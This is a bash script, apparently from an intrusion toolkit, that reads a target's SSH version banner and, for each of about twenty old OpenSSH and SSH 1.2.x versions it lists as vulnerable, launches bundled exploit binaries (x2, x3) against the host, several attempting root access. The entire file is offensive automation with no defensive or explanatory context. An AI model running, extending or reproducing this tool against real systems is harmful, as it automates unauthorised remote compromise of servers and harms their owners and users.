#!/bin/bash
export blah=loser
cd xp/ssh
./ssh $1 > file

VER="`cat file | grep SSH`"
if [ "$VER" = "" ]; then
VER="<timeout>"
fi
a="0"

if [ "$VER" = "SSH-1.99-OpenSSH_2.9.9" ]; then
echo "Vulnerable $VER found ... exploiting... "
./x3 -l root $1
a="1"
fi

if [ "$VER" = "SSH-1.99-OpenSSH_3.0" ]; then
echo "Vulnerable $VER found ... exploiting... "
./x3 -l root $1
a="1"
fi

if [ "$VER" = "SSH-1.99-OpenSSH_3.0.1" ]; then
echo "Vulnerable $VER found ... exploiting... "
./x3 -l root $1
a="1"
fi

if [ "$VER" = "SSH-1.99-OpenSSH_3.0.2" ]; then
echo "Vulnerable $VER found ... exploiting... "
./x3 -l root $1
a="1"
fi

if [ "$VER" = "SSH-1.99-OpenSSH_3.1" ]; then
echo "Vulnerable $VER found ... exploiting... "
./x3 -l root $1
a="1"
fi

if [ "$VER" = "SSH-1.99-OpenSSH_3.2.2" ]; then
echo "Vulnerable $VER found ... exploiting... "
./x3 -l root $1
a="1"
fi

if [ "$VER" = "SSH-1.99-OpenSSH_3.2.3" ]; then
echo "Vulnerable $VER found ... exploiting... "
./x3 -l root $1
a="1"
fi

if [ "$VER" = "SSH-1.5-1.2.24" ]; then
echo "Vulnerable $VER found ... exploiting... "
./x2 -t1 $1
a="1"
fi

if [ "$VER" = "SSH-1.5-1.2.25" ]; then
echo "Vulnerable $VER found ... exploiting... "
./x2 -t1 $1
a="1"
fi

if [ "$VER" = "SSH-1.5-1.2.26" ]; then
echo "Vulnerable $VER found ... exploiting... "
./x2 -t1 $1
./x2 -t2 $1
a="1"
fi

if [ "$VER" = "SSH-1.5-1.2.27" ]; then
echo "Vulnerable $VER found ... exploiting... "
./x2 -t1 $1
./x2 -t3 $1
./x2 -t4 $1
./x2 -t5 $1
a="1"
fi

if [ "$VER" = "SSH-1.5-1.2.28" ]; then
echo "Vulnerable $VER found ... exploiting... "
./x2 -t1 $1
a="1"
fi

if [ "$VER" = "SSH-1.5-1.2.29" ]; then
echo "Vulnerable $VER found ... exploiting... "
./x2 -t1 $1
a="1"
fi

if [ "$VER" = "SSH-1.5-1.2.30" ]; then
echo "Vulnerable $VER found ... exploiting... "
./x2 -t1 $1
a="1"
fi

if [ "$VER" = "SSH-1.5-1.2.31" ]; then
echo "Vulnerable $VER found ... exploiting... "
./x2 -t1 $1
./x2 -t6 $1
a="1"
fi

if [ "$VER" = "SSH-1.5-OpenSSH_1.2" ]; then
./x2 -t7 $1
echo "Vulnerable $VER found ... exploiting... "
a="1"
fi

if [ "$VER" = "SSH-1.5-OpenSSH_1.2.1" ]; then
echo "Vulnerable $VER found ... exploiting... "
./x2 -t7 $1
a="1"
fi

if [ "$VER" = "SSH-1.5-OpenSSH_1.2.2" ]; then
echo "Vulnerable $VER found ... exploiting... "
./x2 -t7 $1
a="1"
fi

if [ "$VER" = "SSH-1.5-OpenSSH_1.2.3" ]; then
echo "Vulnerable $VER found ... exploiting... "
./x2 -t7 $1
a="1"
fi

if [ "$VER" = "SSH-1.99-OpenSSH_2.2.0p1" ]; then
echo "Vulnerable $VER found ... exploiting... "
./x2 -t10 $1
./x2 -t11 $1
./x2 -t8 $1
./x2 -t9 $1
a="1"
fi

if [ "$a" = "0" ]; then
echo "$VER - not vuln"
fi

